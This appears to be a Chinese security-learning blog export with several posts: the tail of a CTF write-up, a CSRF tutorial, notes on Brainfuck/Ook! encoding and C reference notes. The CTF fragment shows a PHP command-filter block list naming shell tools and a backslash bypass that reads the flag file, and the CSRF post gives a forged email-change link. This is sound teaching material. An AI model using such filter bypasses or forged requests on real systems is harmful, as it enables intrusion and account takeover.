operator">%</span>a2<span class="token operator">%</span><span class="token number">02</span><span class="token operator">%</span>a8<span class="token operator">%</span><span class="token number">28</span><span class="token operator">%</span>4b<span class="token operator">%</span>f3<span class="token operator">%</span>6e<span class="token operator">%</span>8e<span class="token operator">%</span>4b<span class="token operator">%</span><span class="token number">55</span><span class="token operator">%</span>b3<span class="token operator">%</span>5f<span class="token operator">%</span><span class="token number">42</span><span class="token operator">%</span><span class="token number">75</span><span class="token operator">%</span><span class="token number">93</span><span class="token operator">%</span>d8<span class="token operator">%</span><span class="token number">49</span><span class="token operator">%</span><span class="token number">67</span><span class="token operator">%</span>6d<span class="token operator">%</span>a0<span class="token operator">%</span>d1<span class="token operator">%</span>d5<span class="token operator">%</span>5d<span class="token operator">%</span><span class="token number">83</span><span class="token operator">%</span><span class="token number">60</span><span class="token operator">%</span>fb<span class="token operator">%</span>5f<span class="token operator">%</span><span class="token number">07</span><span class="token operator">%</span>fe<span class="token operator">%</span>a2</code></pre>
<p>然后发现cmd参数经过了过滤：</p>
<pre class=" language-php"><code class="language-php"><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">preg_match</span><span class="token punctuation">(</span>"<span class="token operator">/</span>ls<span class="token operator">|</span>bash<span class="token operator">|</span>tac<span class="token operator">|</span>nl<span class="token operator">|</span>more<span class="token operator">|</span>less<span class="token operator">|</span>head<span class="token operator">|</span>wget<span class="token operator">|</span>tail<span class="token operator">|</span>vi<span class="token operator">|</span>cat<span class="token operator">|</span>od<span class="token operator">|</span>grep<span class="token operator">|</span>sed<span class="token operator">|</span>bzmore<span class="token operator">|</span>bzless<span class="token operator">|</span>pcre<span class="token operator">|</span>paste<span class="token operator">|</span>diff<span class="token operator">|</span>file<span class="token operator">|</span><span class="token keyword">echo</span><span class="token operator">|</span>sh<span class="token operator">|</span>\'<span class="token operator">|</span>\"<span class="token operator">|</span>\`<span class="token operator">|</span><span class="token punctuation">;</span><span class="token operator">|</span><span class="token punctuation">,</span><span class="token operator">|</span>\<span class="token operator">*</span><span class="token operator">|</span>\<span class="token operator">?</span><span class="token operator">|</span>\</code></pre>
<p>查了资料发现linux命令可以用反斜杠</p>
<p>故可构造：<code>ca\t /fl\ag</code>得到flag</p>
]]></content>
<categories>
<category>CTF</category>
<category>Writeup</category>
<category>WEB安全</category>
</categories>
<tags>
<tag>CTF</tag>
</tags>
</entry>
<entry>
<title>CSRF漏洞学习</title>
<url>/2019/10/26/CSRF%E5%AD%A6%E4%B9%A0%E6%80%BB%E7%BB%93/</url>
<content><![CDATA[<p>[TOC]</p>
<h1 id="CSRF学习"><a href="#CSRF学习" class="headerlink" title="CSRF学习"></a>CSRF学习</h1><h2 id="概念"><a href="#概念" class="headerlink" title="概念"></a>概念</h2><ul>
<li>CSRF（Cross-site request forgery）跨站请求伪造，通过<font color="red">伪装成受信任用户</font>的请求来利用受信任的网站。</li>
</ul>
<a id="more"></a>
<blockquote>
<p>攻击者盗用了你的身份，以你的名义发送恶意请求，对服务器来说这个请求是完全合法的，但是却完成了攻击者所期望的一个操作</p>
</blockquote>
<hr>
<h2 id="分类"><a href="#分类" class="headerlink" title="分类"></a>分类</h2><h3 id="1-GET型"><a href="#1-GET型" class="headerlink" title="1.GET型"></a>1.GET型</h3><ul>
<li>通过修改get请求的参数，来达到攻击的目的</li>
</ul>
<blockquote>
<p>如：/user.php?id=1&[email protected]，这个链接的意思是用户id=1将邮箱修改为<a href="mailto:[email protected]">[email protected]</a>。当我们把这个链接修改为 /user.php?id=1&[email protected] ，然后通过各种手段发送给被攻击者，诱使被攻击者点击我们的链接，==当用户刚好在访问这个网站==，他同时又点击了这个链接，那么这个用户的邮箱被修改为<a href="mailto:[email protected]">[email protected]</a></p>
</blockquote>
<h3 id="2-POST型"><a href="#2-POST型" class="headerlink" title="2.POST型"></a>2.POST型</h3><ul>
<li>这类型的csrf利用起来通常是使用一个自动提交的表单</li>
<li>访问该页面后，表单会自动提交，相当于模拟用户完成了一次POST操作。</li>
</ul>
<blockquote>
<p>POST类型的攻击通常比GET要求更加严格一点，但仍并不复杂。任何个人网站、博客，被黑客上传页面的网站都有可能是发起攻击的来源，后端接口不能将安全寄托在仅允许POST上面。</p>
</blockquote>
<hr>
<h2 id="原理及过程"><a href="#原理及过程" class="headerlink" title="原理及过程"></a>原理及过程</h2><p>1.用户C打开浏览器，访问受信任网站A，输入用户名和密码请求登录网站A</p>
<p>2.在用户信息通过验证后，网站A产生Cookie信息并返回给浏览器，此时用户登录网站A成功，可以正常发送请求到网站A</p>
<p>3.用户未退出网站A之前，在同一浏览器中，打开一个TAB页访问网站B</p>
<p>4.网站B接收到用户请求后，返回一些攻击性代码，并发出一个请求要求访问第三方站点A</p>
<p>5.浏览器在接收到这些攻击性代码后，根据网站B的请求，在用户不知情的情况下==携带Cookie信息==，向网站A发出请求。网站A并不知道该请求其实是由B发起的，所以会根据用户C的Cookie信息以C的权限处理该请求，导致来自网站B的恶意代码被执行。 </p>
<hr>
<h2 id="防御"><a href="#防御" class="headerlink" title="防御"></a>防御</h2><ol>
<li>验证HTTP Referer字段</li>
</ol>
<ul>
<li>根据 HTTP 协议，在 HTTP 头中有一个字段叫 Referer，它记录了该 HTTP 请求的来源地址。而如果黑客要对网站实施 CSRF 攻击，他只能在他自己的网站构造请求，该请求的 Referer 是指向黑客自己的网站。网站只需要对于每一个请求验证其 Referer 值如果 Referer 是其他网站的话，则有可能是黑客的 CSRF 攻击，拒绝该请求。<blockquote>
<p>这种方法的显而易见的好处就是简单易行，网站的普通开发人员不需要操心 CSRF 的漏洞，只需要在最后给所有安全敏感的请求统一增加一个拦截器来检查 Referer 的值就可以。特别是对于当前现有的系统，不需要改变当前系统的任何已有代码和逻辑，没有风险，非常便捷。</p>
</blockquote>
</li>
</ul>
<p>2.在请求地址中添加 token 并验证(Anti-CSRF token)</p>
<ul>
<li>CSRF 攻击之所以能够成功，是因为黑客可以完全伪造用户的请求，该请求中所有的用户验证信息都是存在于 cookie 中，因此黑客可以在不知道这些验证信息的情况下<font color="green">直接利用用户自己的 cookie 来通过安全验证。</font></li>
<li>要抵御 CSRF，关键在于在++请求中放入黑客所不能伪造的信息，并且该信息不存在于 cookie 之中++。可以在 HTTP 请求中以参数的形式加入一个==随机产生的 token==，并在服务器端建立一个拦截器来验证这个 token，如果请求中没有 token 或者 token 内容不正确，则认为可能是 CSRF 攻击而拒绝该请求。 <blockquote>
<p>token 可以在用户登陆后产生并放于 session 之中，然后在每次请求时把 token 从 session 中拿出，与请求中的 token 进行比对，但这种方法的难点在于如何把 token 以参数的形式加入请求。</p>
</blockquote>
</li>
</ul>
<p>3.在 HTTP 头中自定义属性并验证</p>
<ul>
<li>这种方法也是使用token并进行验证，和上一种方法不同的是，这里并不是把 token 以参数的形式置于 HTTP 请求之中，而是把它放到HTTP头中自定义的属性里。通过==XMLHttpRequest==这个类，可以一次性给所有该类请求加上 CSRFToken 这个 HTTP 头属性，并把 token 值放入其中。</li>
</ul>
<hr>
<h2 id="漏洞挖掘"><a href="#漏洞挖掘" class="headerlink" title="漏洞挖掘"></a>漏洞挖掘</h2><p>1：最简单的方法就是抓取一个正常请求的数据包，如果没有Referer字段和token，那么极有可能存在CSRF漏洞</p>
<p>2：如果有Referer字段，但是去掉Referer字段后再重新提交，如果该提交还有效，那么基本上可以确定存在CSRF漏洞。</p>
]]></content>
<categories>
<category>CTF</category>
<category>代码审计</category>
<category>漏洞挖掘</category>
<category>WEB安全</category>
</categories>
<tags>
<tag>WEB安全</tag>
<tag>漏洞挖掘</tag>
<tag>CTF</tag>
<tag>CSRF</tag>
</tags>
</entry>
<entry>
<title>Brainfuck&Ook!加密</title>
<url>/2019/10/26/Brainfuck&Ook%E5%8A%A0%E5%AF%86/</url>
<content><![CDATA[<p>[TOC]</p>
<h1 id="Brainfuck-Ook-编码加密"><a href="#Brainfuck-Ook-编码加密" class="headerlink" title="Brainfuck/Ook!编码加密"></a>Brainfuck/Ook!编码加密</h1><hr>
<h2 id="Ook-加密"><a href="#Ook-加密" class="headerlink" title="Ook!加密"></a>Ook!加密</h2><h3 id="语法规则"><a href="#语法规则" class="headerlink" title="语法规则"></a>语法规则</h3><p>OOK！只有三个不同的语法元素：<br>Ook。<br>OOK？<br>OOK！</p>
<a id="more"></a>
<p>它们组合成两个组，各种组合组合指定命令。因此，节目必须包含偶数个“Ook”。换行符被忽略</p>
<h3 id="命令"><a href="#命令" class="headerlink" title="命令"></a>命令</h3><p>OOK。OOK？<br>将内存指针移动到下一个阵列单元格。</p>
<p>OOK？OOK。<br>将内存指针移动到上一个阵列单元格。</p>
<p>OOK。OOK。<br>增加内存指针指向的数组单元格。</p>
<p>OOK！OOK！<br>减少内存指针指向的数组单元格。</p>
<p>OOK。OOK！<br>从STDIN读取一个字符并将其ASCII值放入Memory指针指向的单元格中。</p>
<p>OOK！OOK。<br>打印ASCII值等于内存指针指向的单元格中的值的字符。</p>
<p>OOK！OOK？<br>移动到匹配的Ook之后的命令？OOK！如果存储器指针指向的单元格中的值为零。注意Ook！OOK？和欧克？OOK！命令嵌套像括号一样，匹配对的定义方式与括号相同。</p>
<p>OOK？OOK！<br>移动到匹配的Ook之后的命令！OOK？如果存储器指针指向的单元格中的值不为零。</p>
<hr>
<p>密文形式一（常见）：</p>
<pre><code>Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook! Ook. Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook! Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. </code></pre><p>密文形式二（不常见）：</p>
<pre><code>..... ..... ..... ..... !?!!. ?.... ..... ..... ..... .?.?! .?... .....
..... ..... ..... ..... ..... ..... !.?.. ..... ..!?! !.?!! !!!!! !?.?!
.?!!! !!... ..... ..... ..!.! !!!!! !!!!! !!!!! !!!.? ..... ..!?! !.?..
....? .?!.? ..... .!.!! !!!.! !!!!! !!!!! !!!!! !.?.. ..... ..... .....
!?!!. ?!!!! !!!!! !!!!! !!?.? !.?!! !!!!! !!!!. ?.... ..... ..... .....
!?!!. ?.... ..... ..... ....? .?!.? ..... .!.!! !!!!! !!!!. ?.... .....
..... ...!? !!.?! !!!!! !!!!! !!!!! ?.?!. ?!!!! !!!!! !!!!! !!!!! !!!!!
!!!!! !!.?. ..... ..... !?!!. ?.... ..... .?.?! .?... ..... ..... .....
..!.? ..... ....! ?!!.? ..... ...?. ?!.?. .!.?. ..... .!?!! .?!!! !!!?.
?!.?! !!!!! !!!!! .?.</code></pre><hr>
<h2 id="Brainfuck加密"><a href="#Brainfuck加密" class="headerlink" title="Brainfuck加密"></a>Brainfuck加密</h2><h3 id="语法规则-1"><a href="#语法规则-1" class="headerlink" title="语法规则"></a>语法规则</h3><p>Brainfuck编程语言由八个命令组成，每个命令都表示为一个字符。</p>
<p>递增指针：></p>
<p>减少指针：<</p>
<p>递增指针处的字节：+</p>
<p>减少指针处的字节：-</p>
<p>输出指针处的字节：。</p>
<p>输入一个字节并将其存储在指针的字节中：，</p>
<p>如果指针处的字节为零，则跳过匹配]：[</p>
<p>向后跳转到匹配[除非指针处的字节为零：]</p>
<hr>
<p><font color="green">Brainfuck命令的语义也可以用C语言简洁地表达</font>，如下所示（假设p先前已被定义为char *）：</p>
<ul>
<li>++ p : ></li>
</ul>
<ul>
<li><p>–p : <</p>
</li>
<li><p>++ * p : +</p>
</li>
<li><p>– * p : -</p>
</li>
<li><p>putchar（* p）: 。</p>
</li>
<li><p>*p = getchar（）: ，</p>
</li>
<li><p>while（* p）{ : [</p>
</li>
<li><p>} : ]</p>
</li>
</ul>
<pre><code>+++++ +++++ [->++ +++++ +++<] >++.+ +++++ .<+++ [->-- -<]>- -.+++ +++.<
++++[ ->+++ +<]>+ +++.< +++[- >---< ]>--- .---- .<+++ ++++[ ->--- ----<
]>--- ----- ----- .<+++ ++++[ ->+++ ++++< ]>+++ ++.<+ +++++ +[->- -----
-<]>. <++++ ++++[ ->+++ +++++ <]>++ .<+++ [->-- -<]>- ----. <++++ +++[-
>---- ---<] >---- ----. +++++ +..++ +++.+ .<+++ [->-- -<]>- --.<+ +++++
+[->+ +++++ +<]>+ ++.++ +.+++ +++++ +.--- -.+++ ++.<+ ++[-> +++<] >++++
++.<</code></pre><p><strong>这两种加密方式的解密网站是同一个：</strong><br><a href="https://www.splitbrain.org/services/ook" target="_blank" rel="noopener">https://www.splitbrain.org/services/ook</a></p>
]]></content>
<categories>
<category>密码学</category>
<category>CTF</category>
</categories>
<tags>
<tag>CTF</tag>
<tag>加密解密</tag>
</tags>
</entry>
<entry>
<title>C语言位运算符学习</title>
<url>/2019/10/26/C%E8%AF%AD%E8%A8%80%E4%BD%8D%E8%BF%90%E7%AE%97%E7%AC%A6/</url>
<content><![CDATA[<h1 id="C语言运算符"><a href="#C语言运算符" class="headerlink" title="C语言运算符"></a>C语言运算符</h1><p>[Toc]</p>
<h2 id="概念"><a href="#概念" class="headerlink" title="概念"></a><strong>概念</strong></h2><ul>
<li>位运算是指按二进制进行的运算。</li>
<li>C语言提供了6个位操作运算符。这些运算符只能用于整型操作数，即只能用于带符号或无符号的char,short,int与long类型。</li>
</ul>
<a id="more"></a>
<p>======================================</p>
<h2 id="C语言提供的位运算符列表"><a href="#C语言提供的位运算符列表" class="headerlink" title="C语言提供的位运算符列表"></a><strong>C语言提供的位运算符列表</strong></h2><table>
<thead>
<tr>
<th>运算符</th>
<th>含义</th>
<th>描述</th>
</tr>
</thead>
<tbody><tr>
<td>&</td>
<td>按位与</td>
<td>如果两个相应的二进制位都为1，则该位的结果值为1，否则为0</td>
</tr>
<tr>
<td>l</td>
<td>按位或</td>
<td>两个相应的二进制位中只要有一个为1，该位的结果值为1</td>
</tr>
<tr>
<td>^</td>
<td>按位异或</td>
<td>若参加运算的两个二进制位值相同则为0，否则为1</td>
</tr>
<tr>
<td>~</td>
<td>取反</td>
<td>~是一元运算符，用来对一个二进制数按位取反，即将0变1，将1变0</td>
</tr>
<tr>
<td><<</td>
<td>左移</td>
<td>用来将一个数的各二进制位全部左移N位，右补0</td>
</tr>
<tr>
<td>>></td>
<td>右移</td>
<td>将一个数的各二进制位右移N位，移到右端的低位被舍弃，对于无符号数，高位补0</td>
</tr>
</tbody></table>
<hr>
<h2 id="按位与运算符"><a href="#按位与运算符" class="headerlink" title="按位与运算符"></a><strong>按位与运算符</strong></h2><h3 id="概念-1"><a href="#概念-1" class="headerlink" title="概念"></a>概念</h3><ul>
<li>按位与是指：参加运算的两个数据，按二进制位进行“与”运算。如果两个相应的二进制位都为１，则该位的结果值为1；否则为0。</li>
<li>按位与其实与逻辑上“与”的运算规则一致。逻辑上的“与”，要求运算数全真，结果才为真。若，A=true,B=true,则A∩B=true </li>
<li>例如：3&5 3的二进制编码是11(2)。（为了区分十进制和其他进制，凡是非十进制的数据均在数据后面加上括号，括号中注明其进制，二进制则标记为2）内存储存数据的基本单位是字节（Byte），一个字节由8个位（bit)所组成。位是用以描述电脑数据量的最小单位。二进制系统中，每个0或1就是一个位。将11（2）补足成一个字节，则是00000011（2）。5的二进制编码是101（2），将其补足成一个字节，则是00000101（2）</li>
</ul>
<h3 id="用途"><a href="#用途" class="headerlink" title="用途"></a>用途</h3><p>1）清零</p>
<p>若想对一个存储单元清零，即使其全部二进制位为0，只要找一个二进制数</p>
<blockquote>
<p>原来的数中为1的位，新数中相应位为0。然后使二者进行&运算，即可达到清零目的</p>
</blockquote>
<p>2）取一个数中某些指定位</p>
<p>若有一个整数a(2byte),想要取其中的低字节，只需要将a与8个1按位与即可</p>
<p>3）保留指定位：</p>
<p>与一个数进行“按位与”运算，此数在该位取1.</p>
<hr>
<hr>
<h2 id="按位或运算符"><a href="#按位或运算符" class="headerlink" title="按位或运算符"></a><strong>按位或运算符</strong></h2><h3 id="概念-2"><a href="#概念-2" class="headerlink" title="概念"></a>概念</h3><ul>
<li>两个相应的二进制位中只要有一个为1，该位的结果值为1。</li>
</ul>
<hr>
<hr>
<h2 id="异或运算符"><a href="#异或运算符" class="headerlink" title="异或运算符"></a><strong>异或运算符</strong></h2><ul>
<li>1.使特定位翻转</li>
<li>2.保留原值（与0相异或）</li>
<li>3.交换两个值不用临时变量</li>
</ul>
<hr>
<hr>
<h2 id="取反运算符"><a href="#取反运算符" class="headerlink" title="取反运算符"></a><strong>取反运算符</strong></h2><ul>
<li>用于求整数的二进制反码，即分别将操作数各二进制位上的1变为0，0变为1。</li>
</ul>
<hr>
<hr>
<h2 id="左移运算符"><a href="#左移运算符" class="headerlink" title="左移运算符"></a><strong>左移运算符</strong></h2><ul>
<li>左移运算符是用来将一个数的各二进制位左移若干位，移动的位数由右操作数指定（右操作数必须是非负值），其右边空出的位用0填补，高位左移溢出则舍弃该高位。</li>
</ul>
<hr>
<hr>
<h2 id="右移运算符"><a href="#右移运算符" class="headerlink" title="右移运算符"></a><strong>右移运算符</strong></h2><ul>
<li>右移运算符是用来将一个数的各二进制位右移若干位，移动的位数由右操作数指定（右操作数必须是非负<br>值），移到右端的低位被舍弃，</li>
<li>对于无符号数，高位补0。</li>
<li>对于有符号数，某些机器将对左边空出的部分<br>用符号位填补（即“算术移位”），而另一些机器则对左边空出的部分用0填补（即“逻辑移位”）。</li>
<li>注意：对无符号数,右移时左边高位移入0；对于有符号的值,如果原来符号位为0(该数为正),则左边也是移入0。如果符号位原来为1(即负数),则左边移入0还是1,要取决于所用的计算机系统。有的系统移入0,有的系统移入1。移入0的称为“逻辑移位”,即简单移位；移入1的称为“算术移位”。</li>
</ul>
<hr>
<hr>
<h2 id="位运算赋值运算符"><a href="#位运算赋值运算符" class="headerlink" title="位运算赋值运算符"></a><strong>位运算赋值运算符</strong></h2><ul>
<li>位运算符与赋值运算符可以组成复合赋值运算符。</li>
</ul>
<blockquote>
<p>例如: &=, |=, >>=, <<=, ∧=</p>
</blockquote>
]]></content>
<categories>
<category>C语言</category>
<category>编程</category>
</categories>
<tags>
<tag>编程</tag>
</tags>
</entry>
<entry>
<title>C语言库函数学习</title>
<url>/2019/10/26/C%E8%AF%AD%E8%A8%80%E5%BA%93%E5%87%BD%E6%95%B0/</url>
<content><![CDATA[<h1 id="C语言库函数"><a href="#C语言库函数" class="headerlink" title="C语言库函数"></a>C语言库函数</h1><p>[Toc]</p>
<h2 id="1-数学函数"><a href="#1-数学函数" class="headerlink" title="1.数学函数"></a><strong>1.数学函数</strong></h2><ul>
<li>使用数学函数时，应在源文件中使用预编译命令：<pre class=" language-c"><code class="language-c"><span class="token macro property">#<span class="token directive keyword">include</span><span class="token string"><math.h></span> </span></code></pre>
</li>
</ul>
<a id="more"></a>
<table>
<thead>
<tr>
<th>函数名</th>
<th>函数原型</th>
<th>功能</th>
<th>返回值</th>
</tr>
</thead>
<tbody><tr>
<td>acos</td>
<td>double acos(double x)</td>
<td>计算arccos x的值，其中-1<=x<=1</td>
<td>计算结果</td>
</tr>
<tr>
<td>asin</td>
<td>double asin(double x)</td>
<td>计算arcsin x的值，其中-1<=x<=1</td>
<td>计算结果</td>
</tr>
<tr>
<td>atan</td>
<td>double atan(double x)</td>
<td>计算arctan x的值</td>
<td>计算结果</td>
</tr>
<tr>
<td>atan2</td>
<td>double atan2(double x,double y)</td>
<td>计算arctan x/y的值</td>
<td>计算结果</td>
</tr>
<tr>
<td>cos</td>
<td>double cos(double x)</td>
<td>计算cos x的值,其中x的单位为弧度</td>
<td>计算结果</td>
</tr>
<tr>
<td>cosh</td>
<td>double cosh(double x)</td>
<td>计算x的双曲余弦cosh x的值</td>
<td>计算结果</td>
</tr>
<tr>
<td>exp</td>
<td>double exp(double x)</td>
<td>求e^x的值</td>
<td>计算结果</td>
</tr>
<tr>
<td>fabs</td>
<td>double fabs(double x)</td>
<td>求x的绝对值</td>
<td>计算结果</td>
</tr>
<tr>
<td>floor</td>
<td>double floor(double x)</td>
<td>求出不大于x的最大整数</td>
<td>该整数的双精度实数</td>
</tr>
<tr>
<td>fmod</td>
<td>double fmod(double x,double y);</td>
<td>求整除x/y的余数</td>
<td>返回余数的双精度实数</td>
</tr>
<tr>
<td>frexp</td>
<td>double frexp(double val,int *eptr)</td>
<td>把双精度数val分解成数字部分(尾数)和以2为底的指数，即val=x * 2^n,n存放在eptr指向的变量中</td>
<td>数字部分x 0.5 <= x < 1</td>
</tr>
<tr>
<td>log</td>
<td>double log(double x)</td>
<td>求ln x的值</td>
<td>计算结果</td>
</tr>
<tr>
<td>log10</td>
<td>double log10(double x)</td>
<td>求log10x的值</td>
<td>计算结果</td>
</tr>
<tr>
<td>modf</td>
<td>double mof(double val,int * iptr)</td>
<td>把双精度数val分解成数字部分和小数部分，把整数部分存放在ptr指向的变量中</td>
<td>val的小数部分</td>
</tr>
<tr>
<td>pow</td>
<td>double pow(double x,double y)</td>
<td>求x^y的值</td>
<td>计算结果</td>
</tr>
<tr>
<td>sin</td>
<td>double sin(double x)</td>
<td>求sin x的值,其中x的单位为弧度</td>
<td>计算结果</td>
</tr>
<tr>
<td>sinh</td>
<td>double sinh(double x)</td>
<td>计算x的双曲正弦函数sinh x的值</td>
<td>计算结果</td>
</tr>
<tr>
<td>sqrt</td>
<td>double sqrt(double x)</td>
<td>计算，其中x>=0</td>
<td>计算结果</td>
</tr>
<tr>
<td>tan</td>
<td>double tan(double x)</td>
<td>计算tan x的值,其中x的单位为弧度</td>
<td>计算结果</td>
</tr>
<tr>
<td>tanh</td>
<td>double tanh(double x)</td>
<td>计算tanh x的值，其中x的单位为弧度</td>
<td>计算结果</td>
</tr>
</tbody></table>
<hr>
<h2 id="2-字符函数"><a href="#2-字符函数" class="headerlink" title="2.字符函数"></a><strong>2.字符函数</strong></h2><ul>
<li>在使用字符函数时，应该在源文件中使用预编译命令：<pre class=" language-c"><code class="language-c"><span class="token macro property">#<span class="token directive keyword">include</span> <span class="token string"><ctype.h></span></span></code></pre>
<table>
<thead>
<tr>
<th>函数名</th>
<th>函数原型</th>
<th>功能</th>
<th>返回值</th>
</tr>
</thead>
<tbody><tr>
<td>isalnum</td>
<td>int isalnum(int ch)</td>
<td>检查ch是否字母或数字</td>
<td>是则返回1，否则返回0</td>
</tr>
<tr>
<td>isalpha</td>
<td>int isalpha(int ch)</td>
<td>检查ch是否为字母</td>
<td>是字母返回1，否则返回0</td>
</tr>
<tr>
<td>iscntrl</td>
<td>int iscntrl(int ch)</td>
<td>检查ch是否控制字符（其ASCII码在0和0xLF之间)</td>
<td>是控制字符返回1，否则返回0</td>
</tr>
<tr>
<td>isdigit</td>
<td>int isdigit(int ch)</td>
<td>检查ch是否为数字</td>
<td>是数字返回1，否则返回0</td>
</tr>
<tr>
<td>isgraph</td>
<td>int isgraph(int ch)</td>
<td>检查ch是否可打印字符（其ASCII码在0x21和0x7e之间），不包括空格</td>
<td>可打印字符返回1，否则返回0</td>
</tr>
<tr>
<td>islower</td>
<td>int islower(int ch)</td>
<td>检查ch是否是小写字母(a~z)</td>
<td>是小写字母返回1，否则返回0</td>
</tr>
<tr>
<td>isprint</td>
<td>int print(int ch)</td>
<td>检查ch是否是可打印字符（其ASCII码在0x21和0x7e之间),不包括空格</td>
<td>可打印字符返回1，否则返回0</td>
</tr>
<tr>
<td>ispunct</td>
<td>int ispunct(int ch)</td>
<td>检查ch是否是标点字符（不包括空格）即除字母、数字和空格以外的所有可打印字符</td>
<td>是标点返回1，否则返回0</td>
</tr>
<tr>
<td>isspace</td>
<td>int isspace(int ch)</td>
<td>检查ch是否空格、制表符或换行符</td>
<td>是返回1，否则返回0</td>
</tr>
<tr>
<td>isupper</td>
<td>int isupper(int ch)</td>
<td>检查ch是否大写字母(A~Z)</td>
<td>是返回1，否则返回0</td>
</tr>
<tr>
<td>isxdigit</td>
<td>int isxdigit(int ch)</td>
<td>检查ch是否一个16进制数字(即0<del>9，或A</del>F,a~f)</td>
<td>是返回1，否则返回0</td>
</tr>
<tr>
<td>tolower</td>
<td>int tolower(int ch)</td>
<td>将ch字符转换为小写字母</td>
<td>返回ch对应的小写字母</td>
</tr>
<tr>
<td>toupper</td>
<td>int toupper(int ch)</td>
<td>将ch字符转换为大写字母</td>
<td>返回ch对应的大写字母</td>
</tr>
</tbody></table>
</li>
</ul>
<hr>
<h2 id="3-字符串函数"><a href="#3-字符串函数" class="headerlink" title="3.字符串函数"></a><strong>3.字符串函数</strong></h2><ul>
<li>在使用字符串函数时，应该在源文件中使用预编译命令：<pre class=" language-c"><code class="language-c"><span class="token macro property">#<span class="token directive keyword">include</span> <span class="token string"><string.h></span></span></code></pre>
<img src="https://timgsa.baidu.com/timg?image&quality=80&size=b9999_10000&sec=1538569387148&di=fa4604d28b80f7d5b8031101d952c7c7&imgtype=0&src=http%3A%2F%2Fwww.68idc.cn%2Fhelp%2Fuploads%2Fallimg%2F150116%2F151FMW7_0.jpg" alt></li>
</ul>
<hr>
<h2 id="4-输入输出函数"><a href="#4-输入输出函数" class="headerlink" title="4.输入输出函数"></a><strong>4.输入输出函数</strong></h2><ul>
<li>在使用输入输出函数时，应该在源文件中使用预编译命令：<pre class=" language-c"><code class="language-c"><span class="token macro property">#<span class="token directive keyword">include</span> <span class="token string"><stdio.h></span></span></code></pre>
</li>
</ul>
<table>
<thead>
<tr>
<th>函数名</th>
<th>函数原型</th>
<th>功能</th>
<th>返回值</th>
</tr>
</thead>
<tbody><tr>
<td>clearerr</td>
<td>void clearerr(FILE *fp)</td>
<td>清除文件指针错误提示器</td>
<td>无</td>
</tr>
<tr>
<td>close</td>
<td>int close(int fp)</td>
<td>关闭文件（非ANSI标准)</td>
<td>关闭成功返回0，不成功返回-1</td>
</tr>
<tr>
<td>creat</td>
<td>int creat(char*filename,int mode)</td>
<td>以mode所指定的方式建立文件（非ANSI标准）</td>
<td>成功返回正数，否则返回-1</td>
</tr>
<tr>
<td>eof</td>
<td>int eof（int fp)</td>
<td>判断fp所指的文件是否结束</td>
<td>文件结束返回1，否则返回0</td>
</tr>
<tr>
<td>fclose</td>
<td>int fclose（FILE * fp)</td>
<td>关闭fp所指的文件，释放文件缓冲区</td>
<td>关闭成功返回0，不成功返回非0</td>
</tr>
<tr>
<td>feof</td>
<td>int feof(FILE * fp)</td>
<td>检查文件是否结束</td>
<td>结束返回非0，否则返回0</td>
</tr>
<tr>
<td>ferror</td>
<td>int ferror(FILE * fp)</td>
<td>测试fp所指文件是否错误</td>
<td>无错返回0，否则返沪非0</td>
</tr>
<tr>
<td>fflush</td>
<td>int fflush(FILE * fp)</td>
<td>将fp所指的文件的全部控制信息和数据存盘</td>
<td>存盘正确返回0，否则返回非0</td>
</tr>
<tr>
<td>fgets</td>
<td>char *fgets(char *buf,int n,FILE *fp)</td>
<td>从fp所指的文件读取一个长度为(n-1)的字符串，存入起始地址为buf的空间</td>
<td>返回地址buf。若遇文件结束或出错则返回E0F</td>
</tr>
<tr>
<td>fopen</td>
<td>FILE *fopen(char *filename, char *mode)</td>
<td>以mode指定的方式打开名为filename的文件</td>
<td>成功，则返回一个文件指针，否则返回0</td>
</tr>
<tr>
<td>fprintf</td>
<td>int fprintf(FILE * fp, char *format,args,…)</td>
<td>把args的值以format指定的格式输出到fp所指的文件中</td>
<td>实际输出的字符数</td>
</tr>
<tr>
<td>fputc</td>
<td>int putc(char ch,FILE * fp)</td>
<td>将字符ch输出到fp所指的文件中</td>
<td>成功返回该字符，出错返回E0F</td>
</tr>
<tr>
<td>fputs</td>
<td>int fputs(char str,FILE * fp)</td>
<td>将str指定的字符串输出到fp所指的文件中</td>
<td>成功则返回0，出错则返回E0F</td>
</tr>
<tr>
<td>fread</td>
<td>int fread(char *pt, unsigned size,unsigned n,FILE * fp)</td>
<td>从fp所定文件中读取长度为size的n个数据项，存放到pt所指向的内存区</td>
<td>返回所读的数据项个数，若文件结束或出错返回0</td>
</tr>
<tr>
<td>fscanf</td>
<td>int fscanf(FILE * fp,char *format,args,…)</td>
<td>从fp指定的文件中按给定的format格式将读入的数据送到args所指向的内存变量中(args是指针)</td>
<td>输入的数据个数</td>
</tr>
<tr>
<td>fseek</td>
<td>int fseek(FILE * fp,long offset,int base)</td>
<td>将fp指定的文件的位置指针移到base所指出的位置为基准，以offset为位移量的位置</td>
<td>返回当前位置，否则返回-1</td>
</tr>
<tr>
<td>ftell</td>
<td>long ftell(FILE * fp)</td>
<td>返回fp所指定的文件中的读写位置</td>
<td>返回文件中的读写位置，否则返回0</td>
</tr>
<tr>
<td>fwrite</td>
<td>int fwrite(char *ptr,unsigned size,unsigned n,FILE * fp)</td>
<td>把ptr所指向的的n * size个字节输出到fp所指向的文件中</td>
<td>写到fp文件中的数据项的个数</td>
</tr>
<tr>
<td>getc</td>
<td>int getc(FILE * fp)</td>
<td>从fp所指向的文件中的独处下一个字符</td>
<td>返回读出的字符，若文件出错或结束返回E0F</td>
</tr>
<tr>
<td>getchar</td>
<td>int getchar()</td>
<td>从标准输入设备中读取下一个字符</td>
<td>返回字符，若文件出错或结束返回-1</td>
</tr>
<tr>
<td>gets</td>
<td>char *gets(char *str)</td>
<td>从标准输入设备中读取字符串存入str指向的数组</td>
<td>成功返回str，否则返回NULL</td>
</tr>
<tr>
<td>open</td>
<td>int open(char *filename, int mode)</td>
